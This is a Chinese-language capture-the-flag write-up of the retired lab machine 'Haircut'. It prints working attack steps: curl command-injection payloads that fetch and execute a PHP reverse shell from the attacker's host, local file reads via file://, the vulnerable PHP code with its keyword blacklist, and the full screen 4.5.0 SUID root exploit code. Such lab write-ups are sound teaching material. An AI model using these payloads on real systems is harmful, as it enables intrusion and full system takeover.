Haircut Writeup

概述 (Overview)

58000587.png|500

HOST: 10.10.10.24

OS: LINUX

发布时间: 2017-05-27

完成时间: 2021-09-15

机器作者: r00tkie

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #SUID #Command_Injection

攻击链 (Kiillchain)

使用 Nmap 对目标服务器进行开放端口枚举,通过目录枚举识别出脆弱的 PHP 功能服务器,使用命令执行内容封装协议进行本地文件读取,经过对其 Bypass 后成功拿到立足点。最终通过具有 SUID 权限的脆弱服务进行权限提升,拿到 ROOT 权限。

枚举(Enumeration)

老规矩,开局使用 Nmap 对目标服务器的开放端口进行枚举扫描:

PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA) | 256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA) |_ 256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519) 80/tcp open http | http-methods: |_ Supported Methods: GET HEAD |_http-title: HTB Hairdresser

仅有两个开放端口,看来我们需要在HTTP服务上找突破口了。

Port 80 - Nginx/PHP

使用浏览器查看网站只看到一张图片,预览网页源代码也没见到其他的提示:

85f6718257e89e68a1607dbdbccebb9d.png|500

对目录进行枚举,访问 /uploads 路径会出现 “403 Forbiddeh”,说明并不存在目录列表显示:

fea092506e94d0401f59e305f1015ddd.png|500

尝试将首页上的图片路径加入url,发现可以预览的图片:

4af1ea53de8eb52c3e235110fa3e8c74.png|500

立足点(Foothold)

因为 Web 服务是 Nginx ,那么有理由推测大概率是配合 PHP 部署的,将后缀加入到目录扫描的枚举配置中,再次扫描后得到 /exposed.php 文件。

f4a5778ab01671fe92e94f471d77ed92.png|550

浏览它会发现是一个可用来加载外部网站的功能:

c33a140a47ee9e6ce9e29f46d79ba9e1.png

从表单提交后返回的信息来看,可能存在命令注入_(为什么不是 SSRF 是因为显示的信息和 curl 命令获取目标网站的详情信息类似)_,测试后发现与预想的一样。

6ac11e7f3e84322f181c7c99498bdd35.png

从上图中可以得到目标服务端是会主动访问 kali 上的 Web 服务,随后进行简单的 Fuzzing ,发现当提交的内容含有|& 会提示拦截:

| is not a good thing to put in a URL

排除可以用管道链接符来执行任意命令,改为使用运行反引号来进行命令执行。

表单提交:

-v http://10.10.17.64/`id`

Kali 的 Web 服务得到了目标服务器执行 id 命令后的结果:

$ 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.10.24 - - [15/Sep/2021 14:15:30] "GET /uid=33(www-data) HTTP/1.1" 404 -

在琢磨着怎么进行命令执行反弹shell时,想到了 curl 可以执行内置的封装协议,随后使用 file:// 协议进行本地文件读取。

表单提交:

-v file:///etc/passwd

从得到的结果中发现 root、maria 用户具备登录条件,接着读取 exposed.php 文件,看看当前漏洞是怎么产生的,分析后续构造利用方式:

表单提交:

-v file:///var/www/html/exposed.php

得到 PHP 代码:

...snip... <?php if(isset($_POST['formurl'])){ echo "<p>Requesting Site...</p>"; $userurl=$_POST['formurl']; $naughtyurl=0; $disallowed=array('%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']'); foreach($disallowed as $naughty){ if(strpos($userurl,$naughty) !==false){ echo $naughty.' is not a good thing to put in a URL'; $naughtyurl=1; } } if($naughtyurl==0){ echo shell_exec("curl ".$userurl." 2>&1"); } } ?> ...snip...

存在一个黑明,单不允许出现特定字符,这里我绕过的方式也很简单,通过 -o 参数特性下载反弹shell脚本,随后通过反引号触发命令执行。

反弹shell脚本 - https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

提交表单:

-v http://10.10.17.64/shell.php -o /tmp/shell.php -v http://10.10.17.64/`php /tmp/shell.php`

Nice,成功拿到目标服务器立足点。

e05e3ebb16f18982ab55e917011a5b9a.png

权限提升(Privilege Escalation)

将 linpeas.sh 传递至服务器,运行后进行一步收集信息。

https://github.com/carlospolop/PEASS-ng

找到一个具有 SUDI 权限的二进制命令 screen

017eacf42dbc3b6f0d366f8fade5b9db.png

接着在 exploit-db 中找到了权限提升利用脚本,正好目标服务器上的 screen 就是存在脆弱性的 4.5.0 版本。

https://www.exploit-db.com/exploits/41154

cat << EOF > /tmp/libhax.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); } EOF gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
cat << EOF > /tmp/rootshell.c #include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); } EOF gcc -o /tmp/rootshell /tmp/rootshell.c
$ cd /etc $ umask 000 $ screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" $ screen-4.5.0 -ls $ /tmp/rootshell

将上诉命令全部在目标服务器上执行,成功得到 root 权限。

3eb0228cd3808ee48ad7b72d8782a14b.png

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。